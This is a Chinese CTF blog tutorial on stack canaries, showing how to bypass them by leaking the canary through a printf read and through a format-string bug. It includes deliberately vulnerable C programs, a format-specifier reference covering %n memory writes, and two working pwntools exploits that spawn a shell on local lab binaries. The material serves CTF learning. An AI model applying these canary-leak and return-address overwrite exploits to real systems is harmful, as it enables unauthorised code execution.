avatar

CTF-Wiki-Canary系列

Canary原理和溢出原理

知识点1、Canary是一种保护栈溢出的方式,原理就是向栈尾部中写入一个数据,如果函数执行完后要ret时,发现这个数据被修改了,说明栈溢出,跳转到退出函数,从而避免getShell。

知识点2、若flag是存在服务器的内存里,假设你已经知道了这个字符串的内存地址,你可以主动的触发它的保护机制,保护机制会自动输出Canary位置的数据作为指针指向的内存,比如已知flag的内存地址是 0x08040100,可以构造 p32(0x08040100)*50 ,50只是我随意的打的,只要能覆盖到Canary即可。

知识点3、只要知道Canary,就可以绕过Canary的保护,即溢出Canary,再覆盖。

    #### 溢出方法有两种,第一种是字符串格式漏洞,第二种是爆破Canary

知识点4、Canary在32位程序中以XXXXXX00格式出现,64位程序中XXXXXXXXXXXXXX00,且Canary自程序开始到结束中,任何Canary都是同样唯一的

第一种较为简单,若一个函数中出现read然后紧跟的是printf,然后继续跟着read,且printf的参数恰好为read中读入的参数,那么我们可以构造字符串使字符串连接到Canary,然后printf时,会连带的把Canary也一起输出出来。例如以下代码存在溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int vuln()
{
signed int i; // [esp+4h] [ebp-74h]
char buf; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200u);
printf(&buf);
}
return __readgsdword(0x14u) ^ v3;
}

在第一种方法中还存在一些额外情况,比如read中参数不足以连接到Canary,但是printf的参数还是和read中一样,那么我们可以使用格式化字符串,如下

1
printf("format", 输出表列)

format参考列表

1
2
3
4
5
6
7
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

我们可以先通过 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 来找到AAAA的位置 然后就可以计算偏移得到Canary的数据

0x01 Canaryleak

文件下载
程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// ex2.c

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

void getshell(void) {

system("/bin/sh");

}

void init() {

setbuf(stdin, NULL);

setbuf(stdout, NULL);

setbuf(stderr, NULL);

}

void vuln() {

char buf[100];

for(int i=0;i<2;i++){

read(0, buf, 0x200);

printf(buf);

}

}

int main(void) {

init();

puts("Hello Hacker!");

vuln();

return 0;

}

溢出思路

vuln中存在两次读入两次输出,由于开启了Canary,所以第一个读入要把读入的字符串连接上Canary,然后printf一并输出出来,第二个读入只需要带着Canary覆盖ret即可

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = "debug"
sh = process("./canary")
elf = ELF("canary")
getShell_addr = elf.symbols['getshell']
payload = 'A'*100
sh.sendline(payload)
sh.recvuntil('A'*100)
canary = u32(sh.recv(4))-0xa
print "[+] Canary: " + hex(canary)
payload = 'A'*100 + p32(canary) + 'A'*12 + p32(getShell_addr)
sh.sendline(payload)
sh.interactive()

0x02 格式化输出漏洞

程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>

void canary_protect_me(void){

system("/bin/sh");

}


int main(void){

setvbuf(stdout, 0LL, 2, 0LL);

setvbuf(stdin, 0LL, 1, 0LL);

char buf[40];

gets(buf);

printf(buf);//存在格式化漏洞

gets(buf);

return 0;

}

溢出思路

先输入 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
发现第5个是61616161(AAAA),然后ida中分析到buf到Canary是40偏移,然后只需要带着Canary覆盖EIP即可
过程:先输入 AAAA%5$x 获取Canary,取出后四位,带着这四位数据覆盖EIP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
sh = process("pwn200")
input()
elf = ELF("pwn200")
getShell_addr = elf.symbols['canary_protect_me']
print "[+] getShell_addr:" + hex(getShell_addr)
payload = 'AAAA%15$x'
sh.sendline(payload)
sh.recvuntil("AAAA")
Canary = int(sh.recv(8),16)
print "[+] Get Canary :"+ hex(Canary)
payload = 'A' * 40 + p32(Canary)*4 + p32(getShell_addr)
sh.sendline(payload)
sh.interactive()
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/04/14/CTF-Wiki-Canary%E7%B3%BB%E5%88%97/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论